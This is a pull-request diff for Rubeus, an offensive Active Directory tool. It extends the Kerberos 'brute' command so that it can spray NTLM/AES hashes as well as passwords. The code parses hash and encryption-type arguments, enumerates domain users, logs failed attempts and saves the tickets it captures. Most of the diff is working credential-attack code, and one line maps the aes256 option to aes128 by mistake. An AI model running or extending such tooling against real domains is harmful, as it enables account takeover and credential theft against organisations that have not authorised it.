Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -124,8 +124,8 @@ Rubeus is licensed under the BSD 3-Clause license.
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Perform a Kerberos-based password or hash bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> or </hash:hash_value> </(rc4|aes128|aes256|des_cbc_md5|des3_cbc_md5|des3_cbc_sha1)> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Expand Down
112 changes: 90 additions & 22 deletions Rubeus/Commands/Brute.cs
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,10 @@ public class Brute : ICommand
private string outfile = "";
private uint verbose = 0;
private bool saveTickets = true;
private bool hashspray = false;
private string hash = "";
// old_exp here means null placeholder
private Interop.KERB_ETYPE enctype = Interop.KERB_ETYPE.old_exp;

protected class BruteArgumentException : ArgumentException
{
Expand All @@ -49,17 +53,19 @@ public void Execute(Dictionary<string, string> arguments)
this.outfile, this.verbose, this.saveTickets);

Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter);
bool success = bruter.Attack(this.usernames, this.passwords);
bool success = bruter.Attack(this.usernames, this.passwords, this.hash, this.hashspray, this.enctype);
if (success)
{
if (!String.IsNullOrEmpty(this.outfile))
{
Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile);
}else
}
else
{
Console.WriteLine("\r\n[+] Done\r\n", this.outfile);
}
} else
}
else
{
Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n");
}
Expand All @@ -80,7 +86,16 @@ private void ParseArguments(Dictionary<string, string> arguments)
this.ParseOU(arguments);
this.ParseDC(arguments);
this.ParseCreds(arguments);
this.ParsePasswords(arguments);
if (arguments.ContainsKey("/hash"))
{
this.ParseHashSpray(arguments);
this.hashspray = true;
}
else
{
this.ParsePasswords(arguments);
this.hashspray = false;
}
this.ParseUsers(arguments);
this.ParseOutfile(arguments);
this.ParseVerbose(arguments);
Expand Down Expand Up @@ -112,7 +127,8 @@ private void ParseDC(Dictionary<string, string> arguments)
if (arguments.ContainsKey("/dc"))
{
this.dc = arguments["/dc"];
}else
}
else
{
this.dc = this.domain;
}
Expand Down Expand Up @@ -140,6 +156,38 @@ private void ParseCreds(Dictionary<string, string> arguments)
}

}
private void EnsureEncType(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/rc4"))
{
this.enctype = Interop.KERB_ETYPE.rc4_hmac;
}
else if (arguments.ContainsKey("/aes128"))
{
this.enctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
}
else if (arguments.ContainsKey("/aes256"))
{
this.enctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
}
else if (arguments.ContainsKey("/des_cbc_md5"))
{
this.enctype = Interop.KERB_ETYPE.des_cbc_md5;
}
else if (arguments.ContainsKey("/des3_cbc_md5"))
{
this.enctype = Interop.KERB_ETYPE.des3_cbc_md5;
}
else if (arguments.ContainsKey("/des3_cbc_sha1"))
{
this.enctype = Interop.KERB_ETYPE.des3_cbc_sha1;
}
else
{
throw new BruteArgumentException(
"[X] You must supply supported encryption type! Use /(rc4|aes128|aes256|des_cbc_md5|des3_cbc_md5|des3_cbc_sha1) ");
}
}

private void ParsePasswords(Dictionary<string, string> arguments)
{
Expand All @@ -148,14 +196,17 @@ private void ParsePasswords(Dictionary<string, string> arguments)
try
{
this.passwords = File.ReadAllLines(arguments["/passwords"]);
}catch(FileNotFoundException)
this.EnsureEncType(arguments);
}
catch (FileNotFoundException)
{
throw new BruteArgumentException("[X] Unable to open passwords file \"" + arguments["/passwords"] + "\": Not found file");
}
}
else if (arguments.ContainsKey("/password"))
{
this.passwords = new string[] { arguments["/password"] };
this.EnsureEncType(arguments);
}
else
{
Expand All @@ -164,13 +215,29 @@ private void ParsePasswords(Dictionary<string, string> arguments)
}
}

private void ParseHashSpray(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/hash"))
{
this.hash = arguments["/hash"];
this.EnsureEncType(arguments);
}
else
{
throw new BruteArgumentException(
"[X] You must supply a hash and encryption type! Use /hash:<hash_value>");
}
}

private void ParseUsers(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/users"))
{
try {
try
{
this.usernames = File.ReadAllLines(arguments["/users"]);
}catch (FileNotFoundException)
}
catch (FileNotFoundException)
{
throw new BruteArgumentException("[X] Unable to open users file \"" + arguments["/users"] + "\": Not found file");
}
Expand Down Expand Up @@ -207,13 +274,13 @@ private void ParseSaveTickets(Dictionary<string, string> arguments)

private void ObtainUsers()
{
if(this.usernames == null)
if (this.usernames == null)
{
this.usernames = this.DomainUsernames();
}
else
{
if(this.verbose == 0)
if (this.verbose == 0)
{
this.verbose = 1;
}
Expand All @@ -235,7 +302,7 @@ private string[] DomainUsernames()
{
throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!");
}

directoryObject.Username = userDomain;
directoryObject.Password = this.credPassword;

Expand All @@ -260,7 +327,8 @@ private string[] DomainUsernames()
}

return usernames.Cast<object>().Select(x => x.ToString()).ToArray();
} catch(System.Runtime.InteropServices.COMException ex)
}
catch (System.Runtime.InteropServices.COMException ex)
{
switch ((uint)ex.ErrorCode)
{
Expand All @@ -287,7 +355,7 @@ private string DomainController()
{
domainController = Networking.GetDCName();

if(domainController == "")
if (domainController == "")
{
throw new BruteArgumentException("[X] Unable to find DC address! Try it by providing /domain or /dc");
}
Expand Down Expand Up @@ -327,8 +395,6 @@ private bool AreCredentialsValid()
}

}


public class BruteforceConsoleReporter : IBruteforcerReporter
{

Expand Down Expand Up @@ -381,10 +447,15 @@ public void ReportBlockedUser(string domain, string username)

public void ReportKrbError(string domain, string username, KRB_ERROR krbError)
{
Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username,
Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username,
krbError.error_code, (Interop.KERBEROS_ERROR)krbError.error_code);
}

public void ReportInvalidPassword(string domain, string username, string password, string hash)
{
Console.WriteLine("[-] Invaild Password user => {0}:{1}:{2}", username, password, hash);
}


private void WriteUserPasswordToFile(string username, string password)
{
Expand All @@ -397,7 +468,8 @@ private void WriteUserPasswordToFile(string username, string password)
try
{
File.AppendAllText(this.passwordsOutfile, line);
}catch(UnauthorizedAccessException)
}
catch (UnauthorizedAccessException)
{
if (!this.reportedBadOutputFile)
{
Expand All @@ -409,7 +481,7 @@ private void WriteUserPasswordToFile(string username, string password)

private void HandleTicket(string username, byte[] ticket)
{
if(this.saveTicket)
if (this.saveTicket)
{
string ticketFilename = username + ".kirbi";
File.WriteAllBytes(ticketFilename, ticket);
Expand Down Expand Up @@ -445,7 +517,3 @@ private void PrintTicketBase64(string ticketname, byte[] ticket)

}
}




4 changes: 2 additions & 2 deletions Rubeus/Domain/Info.cs
Original file line number Diff line number Diff line change
Expand Up @@ -50,8 +50,8 @@ public static void ShowUsage()
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Perform a Kerberos-based password or hash bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> or </hash:hash_value> </(rc4|aes128|aes256|des_cbc_md5|des3_cbc_md5|des3_cbc_sha1)> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Expand Down
Loading